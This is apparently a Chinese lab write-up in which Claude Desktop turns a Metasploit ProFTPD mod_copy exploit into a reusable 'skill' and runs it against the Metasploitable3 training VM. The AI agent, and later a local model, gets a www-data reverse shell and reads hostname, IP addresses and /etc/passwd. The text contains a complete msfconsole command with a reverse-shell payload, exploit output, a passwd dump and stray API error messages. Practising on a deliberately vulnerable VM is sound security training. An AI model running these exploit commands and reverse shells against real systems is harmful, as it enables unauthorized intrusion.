claude desktop对metasploitable3自动化渗透技能研究

1. CC switch配置

2.建立技能Metasploitable3-ProFTPD

将如下内容写成Metasploitable3-ProFTPD技能 ┌──(kali㉿kali)-[~] └─$ msfconsole -q -x "use exploit/unix/ftp/proftpd_modcopy_exec; set RHOSTS 192.168.1.46; set RPORT 80; set RPORT_FTP 21; set SITEPATH /var/www/html; set TARGETURI /; set payload cmd/unix/reverse_perl; set LHOST 192.168.1.43 ; set LPORT 4444; run" [_] No payload configured, defaulting to cmd/unix/reverse_netcat RHOSTS => 192.168.1.46 RPORT => 80 RPORT_FTP => 21 SITEPATH => /var/www/html TARGETURI => / payload => cmd/unix/reverse_perl LHOST => 192.168.1.43 LPORT => 4444 [_] Started reverse TCP handler on 192.168.1.43:4444 [_] 192.168.1.46:80 - 192.168.1.46:21 - Connected to FTP server [_] 192.168.1.46:80 - 192.168.1.46:21 - Sending copy commands to FTP server [_] 192.168.1.46:80 - Executing PHP payload /acu3lel.php [+] 192.168.1.46:80 - Deleted /var/www/html/acu3lel.php [_] Command shell session 1 opened (192.168.1.43:4444 -> 192.168.1.46:40387) at 2026-07-31 05:34:12 -0400 id uid=33(www-data) gid=33(www-data) groups=33(www-data) hostname metasploitable3-ub1404 date Fri Jul 31 09:37:13 UTC 2026

API Error: 502 请求转发失败: 上游请求失败: client error (Connect). This is a server-side issue, usually temporary --- try again in a moment. If it persists, check your inference gateway (127.0.0.1:15721).已整理完成：

[查看 Metasploitable3-ProFTPD 技能文件](app://localhost/cowork/local_d72fe523-51fa-45cf-8dee-d497c1254208)

[查看中文实验手册](app://localhost/cowork/local_d72fe523-51fa-45cf-8dee-d497c1254208)

进度：FTP 与 HTTP 已确认可达，FTP 横幅为 ProFTPD 1.3.5，HTTP 返回 200；Metasploit 模块也已确认存在。第一次自动化执行没有在工具时限内返回，检查发现环境里残留了多个此前的 `msfconsole` 进程，可能造成会话/监听器冲突。我会先清理本次刚启动的超时进程，不触碰更早的进程，然后改用后台作业方式重测并抓取会话结果。API Error: 502 请求转发失败: 上游请求失败: client error (Connect). This is a server-side issue, usually temporary --- try again in a moment. If it persists, check your inference gateway (127.0.0.1:15721).测试已达到成功条件，上一轮执行过程显示：

```text
[+] 192.168.1.46:80 - The target appears to be vulnerable.
[*] ... Connected to FTP server
[*] ... Sending copy commands to FTP server
[*] ... Executing PHP payload /bdKGS.php
[+] ... Deleted /var/www/html/bdKGS.php
[*] Command shell session 1 opened

验证结果为：

uid=33(www-data) gid=33(www-data) groups=33(www-data)
hostname: metasploitable3-ub1404

其中，www-data 表示已获得 Web 服务账户权限，而不是 root 权限。先前测试还发现，使用 cmd/unix/reverse_perl 时会话可能因 Metasploit 退出或载荷执行异常而断开；改用 cmd/unix/reverse_netcat 后已成功建立命令 Shell。

我不能继续执行或扩展漏洞利用、持久化或提权操作。你可以将当前结果记录为"ProFTPD mod_copy 技能测试成功，获得 www-data 低权限 Shell"。接下来我可以帮助你整理测试报告、补充检测/修复步骤，或把技能文件改成只执行安全的连通性检查和漏洞验证。

好的。当前测试结论是：ProFTPD mod_copy 技能在授权的 Metasploitable3 环境中验证成功，并获得 www-data 低权限命令 Shell。

2.2测试技能

使用Metasploitable3-ProFTPD技能获取192.168.1.46的ip，hostname，/etc/passwd，date

已成功使用 `Metasploitable3-ProFTPD` 技能获取信息。

执行过程：

```text
[*] Started reverse TCP handler on 192.168.1.43:4452
[*] 192.168.1.46:80 - 192.168.1.46:21 - Connected to FTP server
[*] 192.168.1.46:80 - 192.168.1.46:21 - Sending copy commands to FTP server
[*] 192.168.1.46:80 - Executing PHP payload /ia9qZ.php
[+] 192.168.1.46:80 - Deleted /var/www/html/ia9qZ.php
[*] Command shell session 1 opened

目标 IP：

192.168.1.46
172.28.128.3
172.17.0.1

主机名：

metasploitable3-ub1404

日期：

Sun Aug  2 13:57:02 UTC 2026

/etc/passwd 已读取成功，主要账户包括：

root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
vagrant:x:900:900:vagrant,,,:/home/vagrant:/bin/bash
leia_organa:x:1111:100::/home/leia_organa:/bin/bash
luke_skywalker:x:1112:100::/home/luke_skywalker:/bin/bash
han_solo:x:1113:100::/home/han_solo:/bin/bash
darth_vader:x:1117:100::/home/darth_vader:/bin/bash
anakin_skywalker:x:1118:100::/home/anakin_skywalker:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false

完整的 /etc/passwd 输出也已在执行结果中获取。最终结果：

目标：192.168.1.46
主机名：metasploitable3-ub1404
IP：192.168.1.46、172.28.128.3、172.17.0.1
日期：Sun Aug  2 13:57:02 UTC 2026
命令 Shell：成功建立

3. CC swtich切换成本地模型

4.测试技能

使用Metasploitable3-ProFTPD技能获取192.168.1.46的ip，hostname，/etc/passwd，date

已成功获取 192.168.1.46 的相关信息。

**执行过程摘要：**

```text
[*] Connected to FTP server
[*] Sending copy commands to FTP server
[*] Executing PHP payload /9Lzf8O3.php
[+] Deleted /var/www/html/9Lzf8O3.php
[*] Command shell session 1 opened

交互命令输出：

hostname
metasploitable3-ub1404

hostname -I
192.168.1.46 172.28.128.3 172.17.0.1 

date
Sun Aug  2 14:30:25 UTC 2026

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
statd:x:104:65534::/var/lib/nfs:/bin/false
vagrant:x:900:900:vagrant,,,:/home/vagrant:/bin/bash
dirmngr:x:105:111::/var/cache/dirmngr:/bin/sh
leia_organa:x:1111:100::/home/leia_organa:/bin/bash
luke_skywalker:x:1112:100::/home/luke_skywalker:/bin/bash
han_solo:x:1113:100::/home/han_solo:/bin/bash
artoo_detoo:x:1114:100::/home/artoo_detoo:/bin/bash
c_three_pio:x:1115:100::/home/c_three_pio:/bin/bash
ben_kenobi:x:1116:100::/home/ben_kenobi:/bin/bash
darth_vader:x:1117:100::/home/darth_vader:/bin/bash
anakin_skywalker:x:1118:100::/home/anakin_skywalker:/bin/bash
jarjar_binks:x:1119:100::/home/jarjar_binks:/bin/bash
lando_calrissian:x:1120:100::/home/lando_calrissian:/bin/bash
boba_fett:x:1121:100::/home/boba_fett:/bin/bash
jabba_hutt:x:1122:100::/home/jabba_hutt:/bin/bash
greedo:x:1123:100::/home/greedo:/bin/bash
chewbacca:x:1124:100::/home/chewbacca:/bin/bash
kylo_ren:x:1125:100::/home/kylo_ren:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
avahi:x:107:114:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
colord:x:108:116:colord colour management daemon,,,:/var/lib/colord:/bin/false

最终结果：

项目	值
IP	192.168.1.46 / 172.28.128.3 / 172.17.0.1
hostname	metasploitable3-ub1404
date	Sun Aug 2 14:30:25 UTC 2026
/etc/passwd	已读取（包含 root、vagrant 及多个星球大战角色账户）